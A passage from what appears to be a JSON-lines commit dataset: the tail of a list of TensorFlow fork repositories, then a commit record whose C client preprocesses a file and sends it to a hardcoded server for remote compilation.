165952248\n","lang":"C","license":"apache-2.0","repos":"aselle\/tensorflow,manipopopo\/tensorflow,ArtsiomCh\/tensorflow,lukeiwanski\/tensorflow,dongjoon-hyun\/tensorflow,arborh\/tensorflow,seanli9jan\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,alsrgv\/tensorflow,adamtiger\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,av8ramit\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,jhseu\/tensorflow,gunan\/tensorflow,Xeralux\/tensorflow,aam-at\/tensorflow,ppwwyyxx\/tensorflow,freedomtan\/tensorflow,Bismarrck\/tensorflow,caisq\/tensorflow,hfp\/tensorflow-xsmm,benoitsteiner\/tensorflow-opencl,theflofly\/tensorflow,renyi533\/tensorflow,aam-at\/tensorflow,jostep\/tensorflow,gunan\/tensorflow,snnn\/tensorflow,DavidNorman\/tensorflow,JingJunYin\/tensorflow,aldian\/tensorflow,ZhangXinNan\/tensorflow,alistairlow\/tensorflow,jwlawson\/tensorflow,dancingdan\/tensorflow,codrut3\/tensorflow,jalexvig\/tensorflow,renyi533\/tensorflow,eadgarchen\/tensorflow,arborh\/tensorflow,hsaputra\/tensorflow,JingJunYin\/tensorflow,nburn42\/tensorflow,aam-at\/tensorflow,gunan\/tensorflow,Kongsea\/tensorflow,ppwwyyxx\/tensorflow,lukeiwanski\/tensorflow,davidzchen\/tensorflow,mdrumond\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ArtsiomCh\/tensorflow,manipopopo\/tensorflow,paolodedios\/tensorflow,arborh\/tensorflow,hehongliang\/tensorflow,xzturn\/tensorflow,yanchen036\/tensorflow,ppwwyyxx\/tensorflow,codrut3\/tensorflow,lakshayg\/tensorflow,kobejean\/tensorflow,cxxgtxy\/tensorflow,Xeralux\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,lukeiwanski\/tensorflow,kobejean\/tensorflow,adit-chandra\/tensorflow,davidzchen\/tensorflow,alsrgv\/tensorflow,kobejean\/tensorflow,jostep\/tensorflow,horance-liu\/tensorflow,aldian\/tensorflow,aselle\/tensorflow,guschmue\/tensorflow,Kongsea\/tensorflow,ppwwyyxx\/tensorflow,gunan\/tensorflow,jbedorf\/tensorflow,davidzchen\/tensorflow,laszlocsomor\/tensorflow,apark263\/tensorflow,xzturn\/tensorflow,hehongliang\/tensorflow,nburn42\/tensorflow,Bismarrck\/tensorflow,eaplatanios\/tensorflow,jwlawson\/tensorflow,frreiss\/tensorflow-fred,av8ramit\/tensorflow,petewarden\/tensorflow,asimshankar\/tensorflow,laszlocsomor\/tensorflow,pavelchristof\/gomoku-ai,DavidNorman\/tensorflow,karllessard\/tensorflow,gojira\/tensorflow,tornadozou\/tensorflow,pavelchristof\/gomoku-ai,Intel-Corporation\/tensorflow,jhseu\/tensorflow,dancingdan\/tensorflow,chemelnucfin\/tensorflow,cxxgtxy\/tensorflow,jwlawson\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,Mistobaan\/tensorflow,theflofly\/tensorflow,jostep\/tensorflow,xzturn\/tensorflow,yongtang\/tensorflow,xodus7\/tensorflow,DavidNorman\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,drpngx\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,jalexvig\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,hsaputra\/tensorflow,eaplatanios\/tensorflow,with-git\/tensorflow,theflofly\/tensorflow,aselle\/tensorflow,jhseu\/tensorflow,chemelnucfin\/tensorflow,jart\/tensorflow,dongjoon-hyun\/tensorflow,tillahoffmann\/tensorflow,eaplatanios\/tensorflow,gojira\/tensorflow,ZhangXinNan\/tensorflow,snnn\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,ychfan\/tensorflow,freedomtan\/tensorflow,alsrgv\/tensorflow,drpngx\/tensorflow,dyoung418\/tensorflow,sarvex\/tensorflow,eadgarchen\/tensorflow,ppwwyyxx\/tensorflow,Mistobaan\/tensorflow,girving\/tensorflow,AnishShah\/tensorflow,jendap\/tensorflow,Bismarrck\/tensorflow,apark263\/tensorflow,xodus7\/tensorflow,jendap\/tensorflow,alivecor\/tensorflow,eaplatanios\/tensorflow,adamtiger\/tensorflow,jbedorf\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,kobejean\/tensorflow,gunan\/tensorflow,benoitsteiner\/tensorflow-opencl,laszlocsomor\/tensorflow,hehongliang\/tensorflow,kevin-coder\/tensorflow-fork,hfp\/tensorflow-xsmm,dongjoon-hyun\/tensorflow,girving\/tensorflow,dongjoon-hyun\/tensorflow,AnishShah\/tensorflow,rabipanda\/tensorflow,jalexvig\/tensorflow,pavelchristof\/gomoku-ai,pavelchristof\/gomoku-ai,nburn42\/tensorflow,pavelchristof\/gomoku-ai,alistairlow\/tensorflow,horance-liu\/tensorflow,jart\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,gojira\/tensorflow,codrut3\/tensorflow,xzturn\/tensorflow,pavelchristof\/gomoku-ai,renyi533\/tensorflow,dancingdan\/tensorflow,sarvex\/tensorflow,dendisuhubdy\/tensorflow,meteorcloudy\/tensorflow,theflofly\/tensorflow,Intel-Corporation\/tensorflow,girving\/tensorflow,allenlavoie\/tensorflow,tornadozou\/tensorflow,aselle\/tensorflow,jbedorf\/tensorflow,brchiu\/tensorflow,dendisuhubdy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ghchinoy\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,dendisuhubdy\/tensorflow,arborh\/tensorflow,theflofly\/tensorflow,tornadozou\/tensorflow,aselle\/tensorflow,davidzchen\/tensorflow,bowang\/tensorflow,tensorflow\/tensorflow,allenlavoie\/tensorflow,gojira\/tensorflow,a-doumoulakis\/tensorflow,dendisuhubdy\/tensorflow,chemelnucfin\/tensorflow,gojira\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,manipopopo\/tensorflow,guschmue\/tensorflow,tillahoffmann\/tensorflow,nolanliou\/tensorflow,jart\/tensorflow,manipopopo\/tensorflow,annarev\/tensorflow,Mistobaan\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,ageron\/tensorflow,snnn\/tensorflow,ychfan\/tensorflow,with-git\/tensorflow,alshedivat\/tensorflow,ghchinoy\/tensorflow,xzturn\/tensorflow,av8ramit\/tensorflow,girving\/tensorflow,dyoung418\/tensorflow,a-doumoulakis\/tensorflow,drpngx\/tensorflow,annarev\/tensorflow,tillahoffmann\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,xodus7\/tensorflow,mdrumond\/tensorflow,Bismarrck\/tensorflow,meteorcloudy\/tensorflow,freedomtan\/tensorflow,yanchen036\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,JingJunYin\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow,nolanliou\/tensorflow,ArtsiomCh\/tensorflow,aam-at\/tensorflow,ppwwyyxx\/tensorflow,benoitsteiner\/tensorflow-xsmm,Xeralux\/tensorflow,jwlawson\/tensorflow,JingJunYin\/tensorflow,ArtsiomCh\/tensorflow,benoitsteiner\/tensorflow-xsmm,apark263\/tensorflow,xzturn\/tensorflow,benoitsteiner\/tensorflow-opencl,ychfan\/tensorflow,guschmue\/tensorflow,nolanliou\/tensorflow,jalexvig\/tensorflow,manipopopo\/tensorflow,petewarden\/tensorflow,alshedivat\/tensorflow,eaplatanios\/tensorflow,davidzchen\/tensorflow,dyoung418\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,xodus7\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,horance-liu\/tensorflow,arborh\/tensorflow,AnishShah\/tensorflow,gautam1858\/tensorflow,cxxgtxy\/tensorflow,aam-at\/tensorflow,arborh\/tensorflow,annarev\/tensorflow,karllessard\/tensorflow,alivecor\/tensorflow,eadgarchen\/tensorflow,tensorflow\/tensorflow,with-git\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,jostep\/tensorflow,ychfan\/tensorflow,brchiu\/tensorflow,karllessard\/tensorflow,ravindrapanda\/tensorflow,gautam1858\/tensorflow,xodus7\/tensorflow,yanchen036\/tensorflow,adamtiger\/tensorflow,freedomtan\/tensorflow,ravindrapanda\/tensorflow,eaplatanios\/tensorflow,jendap\/tensorflow,davidzchen\/tensorflow,meteorcloudy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,benoitsteiner\/tensorflow-xsmm,tensorflow\/tensorflow,meteorcloudy\/tensorflow,Mistobaan\/tensorflow,ZhangXinNan\/tensorflow,xzturn\/tensorflow,annarev\/tensorflow,dongjoon-hyun\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,bowang\/tensorflow,benoitsteiner\/tensorflow-xsmm,Xeralux\/tensorflow,rabipanda\/tensorflow,lukeiwanski\/tensorflow,kevin-coder\/tensorflow-fork,benoitsteiner\/tensorflow-opencl,alshedivat\/tensorflow,seanli9jan\/tensorflow,karllessard\/tensorflow,jwlawson\/tensorflow,ZhangXinNan\/tensorflow,bowang\/tensorflow,eaplatanios\/tensorflow,benoitsteiner\/tensorflow-xsmm,codrut3\/tensorflow,nburn42\/tensorflow,Kongsea\/tensorflow,DavidNorman\/tensorflow,zasdfgbnm\/tensorflow,theflofly\/tensorflow,jalexvig\/tensorflow,rabipanda\/tensorflow,kobejean\/tensorflow,rabipanda\/tensorflow,arborh\/tensorflow,Bismarrck\/tensorflow,jhseu\/tensorflow,seanli9jan\/tensorflow,av8ramit\/tensorflow,dancingdan\/tensorflow,adit-chandra\/tensorflow,Mazecreator\/tensorflow,kobejean\/tensorflow,nburn42\/tensorflow,dendisuhubdy\/tensorflow,ppwwyyxx\/tensorflow,meteorcloudy\/tensorflow,ArtsiomCh\/tensorflow,aam-at\/tensorflow,jwlawson\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,ageron\/tensorflow,petewarden\/tensorflow,girving\/tensorflow,rabipanda\/tensorflow,a-doumoulakis\/tensorflow,yongtang\/tensorflow,horance-liu\/tensorflow,kevin-coder\/tensorflow-fork,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,alshedivat\/tensorflow,drpngx\/tensorflow,xzturn\/tensorflow,gautam1858\/tensorflow,Mazecreator\/tensorflow,theflofly\/tensorflow,nburn42\/tensorflow,Mazecreator\/tensorflow,Xeralux\/tensorflow,benoitsteiner\/tensorflow-opencl,nburn42\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,with-git\/tensorflow,brchiu\/tensorflow,allenlavoie\/tensorflow,Xeralux\/tensorflow,alsrgv\/tensorflow,bowang\/tensorflow,nolanliou\/tensorflow,jostep\/tensorflow,jendap\/tensorflow,nburn42\/tensorflow,jwlawson\/tensorflow,gunan\/tensorflow,apark263\/tensorflow,ZhangXinNan\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,hfp\/tensorflow-xsmm,dendisuhubdy\/tensorflow,alshedivat\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ravindrapanda\/tensorflow,adit-chandra\/tensorflow,gunan\/tensorflow,nolanliou\/tensorflow,alistairlow\/tensorflow,jbedorf\/tensorflow,DavidNorman\/tensorflow,lukeiwanski\/tensorflow,zasdfgbnm\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,dancingdan\/tensorflow,av8ramit\/tensorflow,zasdfgbnm\/tensorflow,hsaputra\/tensorflow,DavidNorman\/tensorflow,ychfan\/tensorflow,chemelnucfin\/tensorflow,zasdfgbnm\/tensorflow,ppwwyyxx\/tensorflow,drpngx\/tensorflow,yanchen036\/tensorflow,jendap\/tensorflow,tillahoffmann\/tensorflow,yanchen036\/tensorflow,JingJunYin\/tensorflow,Mazecreator\/tensorflow,rabipanda\/tensorflow,frreiss\/tensorflow-fred,gojira\/tensorflow,yongtang\/tensorflow,jalexvig\/tensorflow,freedomtan\/tensorflow,zasdfgbnm\/tensorflow,alshedivat\/tensorflow,manipopopo\/tensorflow,caisq\/tensorflow,cxxgtxy\/tensorflow,Kongsea\/tensorflow,ZhangXinNan\/tensorflow,yongtang\/tensorflow,brchiu\/tensorflow,meteorcloudy\/tensorflow,Bismarrck\/tensorflow,av8ramit\/tensorflow,ageron\/tensorflow,eaplatanios\/tensorflow,alsrgv\/tensorflow,DavidNorman\/tensorflow,jalexvig\/tensorflow,zasdfgbnm\/tensorflow,nolanliou\/tensorflow,renyi533\/tensorflow,gautam1858\/tensorflow,xodus7\/tensorflow,Kongsea\/tensorflow,zasdfgbnm\/tensorflow,Mistobaan\/tensorflow,hehongliang\/tensorflow,horance-liu\/tensorflow,snnn\/tensorflow,mdrumond\/tensorflow,dyoung418\/tensorflow,karllessard\/tensorflow,ArtsiomCh\/tensorflow,alistairlow\/tensorflow,guschmue\/tensorflow,theflofly\/tensorflow,alshedivat\/tensorflow,caisq\/tensorflow,Intel-Corporation\/tensorflow,Bismarrck\/tensorflow,jendap\/tensorflow,mdrumond\/tensorflow,jhseu\/tensorflow,aselle\/tensorflow,davidzchen\/tensorflow,hsaputra\/tensorflow,meteorcloudy\/tensorflow,frreiss\/tensorflow-fred,davidzchen\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,alistairlow\/tensorflow,meteorcloudy\/tensorflow,seanli9jan\/tensorflow,AnishShah\/tensorflow,dancingdan\/tensorflow,gojira\/tensorflow,eadgarchen\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,ageron\/tensorflow,seanli9jan\/tensorflow,asimshankar\/tensorflow,ageron\/tensorflow,mdrumond\/tensorflow,nolanliou\/tensorflow,alistairlow\/tensorflow,renyi533\/tensorflow,zasdfgbnm\/tensorflow,horance-liu\/tensorflow,ageron\/tensorflow,alsrgv\/tensorflow,allenlavoie\/tensorflow,sarvex\/tensorflow,jart\/tensorflow,Intel-Corporation\/tensorflow,jendap\/tensorflow,lakshayg\/tensorflow,hsaputra\/tensorflow,dancingdan\/tensorflow,tornadozou\/tensorflow,lukeiwanski\/tensorflow,tillahoffmann\/tensorflow,alivecor\/tensorflow,dancingdan\/tensorflow,jart\/tensorflow,brchiu\/tensorflow,lukeiwanski\/tensorflow,arborh\/tensorflow,Intel-tensorflow\/tensorflow,dongjoon-hyun\/tensorflow,benoitsteiner\/tensorflow-xsmm,ageron\/tensorflow,drpngx\/tensorflow,frreiss\/tensorflow-fred,benoitsteiner\/tensorflow-opencl,annarev\/tensorflow,kevin-coder\/tensorflow-fork,eadgarchen\/tensorflow,horance-liu\/tensorflow,adit-chandra\/tensorflow,paolodedios\/tensorflow,tornadozou\/tensorflow,drpngx\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,tillahoffmann\/tensorflow,gunan\/tensorflow,ghchinoy\/tensorflow,Mazecreator\/tensorflow,alshedivat\/tensorflow,rabipanda\/tensorflow,ZhangXinNan\/tensorflow,aldian\/tensorflow,eadgarchen\/tensorflow,asimshankar\/tensorflow,alivecor\/tensorflow,Intel-Corporation\/tensorflow,alivecor\/tensorflow,jendap\/tensorflow,guschmue\/tensorflow,ghchinoy\/tensorflow,adit-chandra\/tensorflow,gojira\/tensorflow,allenlavoie\/tensorflow,renyi533\/tensorflow,benoitsteiner\/tensorflow-xsmm,ghchinoy\/tensorflow,Mazecreator\/tensorflow,eadgarchen\/tensorflow,jalexvig\/tensorflow,gunan\/tensorflow,snnn\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Mistobaan\/tensorflow,codrut3\/tensorflow,dendisuhubdy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,gautam1858\/tensorflow,eaplatanios\/tensorflow,seanli9jan\/tensorflow,eadgarchen\/tensorflow,jwlawson\/tensorflow,tensorflow\/tensorflow,ravindrapanda\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,bowang\/tensorflow,Bismarrck\/tensorflow,gojira\/tensorflow,yongtang\/tensorflow,mdrumond\/tensorflow,Xeralux\/tensorflow,ravindrapanda\/tensorflow,alivecor\/tensorflow,aldian\/tensorflow,zasdfgbnm\/tensorflow,kobejean\/tensorflow,gautam1858\/tensorflow,alshedivat\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,with-git\/tensorflow,laszlocsomor\/tensorflow,benoitsteiner\/tensorflow-opencl,jendap\/tensorflow,jart\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,alshedivat\/tensorflow,dongjoon-hyun\/tensorflow,kevin-coder\/tensorflow-fork,apark263\/tensorflow,ghchinoy\/tensorflow,JingJunYin\/tensorflow,drpngx\/tensorflow,adit-chandra\/tensorflow,nolanliou\/tensorflow,adamtiger\/tensorflow,freedomtan\/tensorflow,alsrgv\/tensorflow,laszlocsomor\/tensorflow,kobejean\/tensorflow,theflofly\/tensorflow,Kongsea\/tensorflow,gautam1858\/tensorflow,eadgarchen\/tensorflow,lakshayg\/tensorflow,petewarden\/tensorflow,benoitsteiner\/tensorflow-xsmm,alsrgv\/tensorflow,AnishShah\/tensorflow,dancingdan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,caisq\/tensorflow,gautam1858\/tensorflow,ageron\/tensorflow,Xeralux\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Mistobaan\/tensorflow,brchiu\/tensorflow,caisq\/tensorflow,jwlawson\/tensorflow,jwlawson\/tensorflow,benoitsteiner\/tensorflow-opencl,nburn42\/tensorflow,lukeiwanski\/tensorflow,hehongliang\/tensorflow,Xeralux\/tensorflow,karllessard\/tensorflow,aldian\/tensorflow,alsrgv\/tensorflow,brchiu\/tensorflow,chemelnucfin\/tensorflow,allenlavoie\/tensorflow,aselle\/tensorflow,seanli9jan\/tensorflow,karllessard\/tensorflow,hfp\/tensorflow-xsmm,ppwwyyxx\/tensorflow,snnn\/tensorflow,drpngx\/tensorflow,av8ramit\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,asimshankar\/tensorflow,girving\/tensorflow,benoitsteiner\/tensorflow-opencl,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,AnishShah\/tensorflow,meteorcloudy\/tensorflow,kevin-coder\/tensorflow-fork,Kongsea\/tensorflow,zasdfgbnm\/tensorflow,allenlavoie\/tensorflow,lukeiwanski\/tensorflow,av8ramit\/tensorflow,Mistobaan\/tensorflow,ageron\/tensorflow,hehongliang\/tensorflow,caisq\/tensorflow,meteorcloudy\/tensorflow,girving\/tensorflow,jostep\/tensorflow,hfp\/tensorflow-xsmm,dongjoon-hyun\/tensorflow,kevin-coder\/tensorflow-fork,DavidNorman\/tensorflow,bowang\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Mazecreator\/tensorflow,manipopopo\/tensorflow,gautam1858\/tensorflow,theflofly\/tensorflow,jart\/tensorflow,AnishShah\/tensorflow,jhseu\/tensorflow,jhseu\/tensorflow,aselle\/tensorflow,brchiu\/tensorflow,adit-chandra\/tensorflow,xodus7\/tensorflow,caisq\/tensorflow,dongjoon-hyun\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,alistairlow\/tensorflow,apark263\/tensorflow,laszlocsomor\/tensorflow,adamtiger\/tensorflow,a-doumoulakis\/tensorflow,jbedorf\/tensorflow,sarvex\/tensorflow,alistairlow\/tensorflow,asimshankar\/tensorflow,Intel-tensorflow\/tensorflow,kevin-coder\/tensorflow-fork,jostep\/tensorflow,lukeiwanski\/tensorflow,av8ramit\/tensorflow,aselle\/tensorflow,ZhangXinNan\/tensorflow,DavidNorman\/tensorflow,adit-chandra\/tensorflow,seanli9jan\/tensorflow,girving\/tensorflow,petewarden\/tensorflow,jbedorf\/tensorflow,lakshayg\/tensorflow,adit-chandra\/tensorflow,apark263\/tensorflow,cxxgtxy\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,Xeralux\/tensorflow,guschmue\/tensorflow,gautam1858\/tensorflow,ravindrapanda\/tensorflow,zasdfgbnm\/tensorflow,jbedorf\/tensorflow,alivecor\/tensorflow,kobejean\/tensorflow,rabipanda\/tensorflow,cxxgtxy\/tensorflow,alsrgv\/tensorflow,ravindrapanda\/tensorflow,dyoung418\/tensorflow,caisq\/tensorflow,theflofly\/tensorflow,dendisuhubdy\/tensorflow,a-doumoulakis\/tensorflow,hfp\/tensorflow-xsmm,gojira\/tensorflow,xodus7\/tensorflow,davidzchen\/tensorflow,hfp\/tensorflow-xsmm,seanli9jan\/tensorflow,seanli9jan\/tensorflow,lakshayg\/tensorflow,jalexvig\/tensorflow,ghchinoy\/tensorflow,frreiss\/tensorflow-fred,DavidNorman\/tensorflow,av8ramit\/tensorflow,asimshankar\/tensorflow,annarev\/tensorflow,aselle\/tensorflow,apark263\/tensorflow,laszlocsomor\/tensorflow,AnishShah\/tensorflow,Mazecreator\/tensorflow,pavelchristof\/gomoku-ai,JingJunYin\/tensorflow,hsaputra\/tensorflow,alivecor\/tensorflow,nburn42\/tensorflow,chemelnucfin\/tensorflow,chemelnucfin\/tensorflow,benoitsteiner\/tensorflow-xsmm,JingJunYin\/tensorflow,ZhangXinNan\/tensorflow,nolanliou\/tensorflow,xodus7\/tensorflow,mdrumond\/tensorflow,xzturn\/tensorflow,hsaputra\/tensorflow,ArtsiomCh\/tensorflow,frreiss\/tensorflow-fred,alistairlow\/tensorflow,seanli9jan\/tensorflow,ppwwyyxx\/tensorflow,jbedorf\/tensorflow,horance-liu\/tensorflow,annarev\/tensorflow,jbedorf\/tensorflow,dongjoon-hyun\/tensorflow,manipopopo\/tensorflow,jostep\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,alistairlow\/tensorflow,nburn42\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,benoitsteiner\/tensorflow-xsmm,aldian\/tensorflow,rabipanda\/tensorflow,cxxgtxy\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow-experimental_link_static_libraries_once,dancingdan\/tensorflow,paolodedios\/tensorflow,mdrumond\/tensorflow,tornadozou\/tensorflow,lakshayg\/tensorflow,girving\/tensorflow,jalexvig\/tensorflow,chemelnucfin\/tensorflow,hsaputra\/tensorflow,gunan\/tensorflow,ravindrapanda\/tensorflow,jhseu\/tensorflow,annarev\/tensorflow,arborh\/tensorflow,guschmue\/tensorflow,JingJunYin\/tensorflow,lakshayg\/tensorflow,asimshankar\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,snnn\/tensorflow,dongjoon-hyun\/tensorflow,codrut3\/tensorflow,aldian\/tensorflow,manipopopo\/tensorflow,adit-chandra\/tensorflow,dendisuhubdy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,DavidNorman\/tensorflow,laszlocsomor\/tensorflow,gojira\/tensorflow,hsaputra\/tensorflow,ychfan\/tensorflow,petewarden\/tensorflow,girving\/tensorflow,jhseu\/tensorflow,yanchen036\/tensorflow,allenlavoie\/tensorflow,davidzchen\/tensorflow,asimshankar\/tensorflow,apark263\/tensorflow,xzturn\/tensorflow,brchiu\/tensorflow,yongtang\/tensorflow,jbedorf\/tensorflow,dyoung418\/tensorflow,codrut3\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,JingJunYin\/tensorflow,codrut3\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,eaplatanios\/tensorflow,ravindrapanda\/tensorflow,kevin-coder\/tensorflow-fork,hfp\/tensorflow-xsmm,tillahoffmann\/tensorflow,ghchinoy\/tensorflow,AnishShah\/tensorflow,petewarden\/tensorflow,ychfan\/tensorflow,a-doumoulakis\/tensorflow,jbedorf\/tensorflow,Intel-tensorflow\/tensorflow,Mistobaan\/tensorflow,chemelnucfin\/tensorflow,Xeralux\/tensorflow,aselle\/tensorflow,Bismarrck\/tensorflow,asimshankar\/tensorflow,bowang\/tensorflow,yanchen036\/tensorflow,manipopopo\/tensorflow,karllessard\/tensorflow,jbedorf\/tensorflow,ychfan\/tensorflow,Mistobaan\/tensorflow,drpngx\/tensorflow,allenlavoie\/tensorflow,a-doumoulakis\/tensorflow,allenlavoie\/tensorflow,Mazecreator\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,kobejean\/tensorflow,jendap\/tensorflow,renyi533\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,kevin-coder\/tensorflow-fork,with-git\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jart\/tensorflow,eaplatanios\/tensorflow,AnishShah\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,alshedivat\/tensorflow,caisq\/tensorflow,bowang\/tensorflow,allenlavoie\/tensorflow,snnn\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jart\/tensorflow,sarvex\/tensorflow,adamtiger\/tensorflow,aam-at\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ghchinoy\/tensorflow,Mistobaan\/tensorflow,xodus7\/tensorflow,caisq\/tensorflow,Kongsea\/tensorflow,ArtsiomCh\/tensorflow,benoitsteiner\/tensorflow-xsmm,tornadozou\/tensorflow,rabipanda\/tensorflow,hsaputra\/tensorflow,horance-liu\/tensorflow,apark263\/tensorflow,snnn\/tensorflow,ghchinoy\/tensorflow,tornadozou\/tensorflow,horance-liu\/tensorflow,ZhangXinNan\/tensorflow,aam-at\/tensorflow,guschmue\/tensorflow,rabipanda\/tensorflow,xzturn\/tensorflow,hehongliang\/tensorflow,dyoung418\/tensorflow,jalexvig\/tensorflow,renyi533\/tensorflow,laszlocsomor\/tensorflow,with-git\/tensorflow,brchiu\/tensorflow,Intel-tensorflow\/tensorflow,kobejean\/tensorflow,ageron\/tensorflow,laszlocsomor\/tensorflow,dyoung418\/tensorflow,AnishShah\/tensorflow,petewarden\/tensorflow,manipopopo\/tensorflow,hfp\/tensorflow-xsmm,chemelnucfin\/tensorflow,xodus7\/tensorflow,av8ramit\/tensorflow,a-doumoulakis\/tensorflow,tillahoffmann\/tensorflow,mdrumond\/tensorflow,frreiss\/tensorflow-fred,jart\/tensorflow,nolanliou\/tensorflow,ZhangXinNan\/tensorflow,snnn\/tensorflow,Intel-tensorflow\/tensorflow,codrut3\/tensorflow,yongtang\/tensorflow,hfp\/tensorflow-xsmm,Intel-Corporation\/tensorflow,ychfan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,dendisuhubdy\/tensorflow,lakshayg\/tensorflow,jhseu\/tensorflow,guschmue\/tensorflow,pavelchristof\/gomoku-ai,arborh\/tensorflow,theflofly\/tensorflow,freedomtan\/tensorflow,adamtiger\/tensorflow,eadgarchen\/tensorflow,jwlawson\/tensorflow,Intel-tensorflow\/tensorflow,freedomtan\/tensorflow,asimshankar\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,girving\/tensorflow,yanchen036\/tensorflow,alsrgv\/tensorflow,apark263\/tensorflow,adit-chandra\/tensorflow,with-git\/tensorflow,arborh\/tensorflow,brchiu\/tensorflow,jhseu\/tensorflow,renyi533\/tensorflow,hfp\/tensorflow-xsmm,guschmue\/tensorflow,ageron\/tensorflow,sarvex\/tensorflow,snnn\/tensorflow,codrut3\/tensorflow,dancingdan\/tensorflow,ppwwyyxx\/tensorflow"}
{"commit":"caee45194ec668e0c15c9cc9dd35e498b3ce7f93","old_file":"src\/master\/main.c","new_file":"src\/master\/main.c","old_contents":"#include <unistd.h>\n\n#include <stdio.h>\n\n#include <master\/usage.h>\n#include <master\/arg.h>\n\n#include <share\/socket.h>\n\n#define IP \"88.176.106.132\"\n\nint main(int argc, char *argv[])\n{\n    int socket_fd;\n\n    config_t *config;\n\n    if (argc < 5)\n    {\n        usage();\n        return 0;\n    }\n\n    \/* Error on processing arguments *\/\n    if ((config = process_args(argc, argv)) == NULL)\n        return 1;\n\n    socket_fd = create_client_socket(IP, MULTI_PORT);\n\n    if (socket_fd < 0)\n        return 1;\n\n    send_file(socket_fd, config->file->input_file);\n\n    printf(\"File sent waiting for response\\n\");\n\n    recv_file(socket_fd, config->file->output_file);\n\n    destroy_config(&config);\n    close(socket_fd);\n\n    return 0;\n}\n","new_contents":"#include <unistd.h>\n\n#include <stdio.h>\n\n#include <master\/usage.h>\n#include <master\/arg.h>\n\n#include <share\/socket.h>\n\n#define IP \"88.176.106.132\"\n\nint main(int argc, char *argv[])\n{\n    int socket_fd;\n\n    config_t *config;\n\n    if (argc < 5)\n    {\n        usage();\n        return 0;\n    }\n\n    \/* Error on processing arguments *\/\n    if ((config = process_args(argc, argv)) == NULL)\n        return 1;\n\n    socket_fd = create_client_socket(IP, MULTI_PORT);\n\n    if (socket_fd < 0)\n        return 1;\n\n    printf(\"Preprocessing file %s\\n\", config->file->input_file);\n\n    preprocess(config->file);\n\n    printf(\"Preprocessing done\\n\");\n\n    printf(\"Sending file to server for compilation\\n\");\n\n    send_file(socket_fd, config->file->output_file);\n\n    printf(\"File sent waiting for response\\n\");\n\n    recv_file(socket_fd, config->file->output_file);\n\n    printf(\"File received\\n\");\n\n    destroy_config(&config);\n    close(socket_fd);\n\n    return 0;\n}\n","subject":"Add correct work of client","message":"Add correct work of 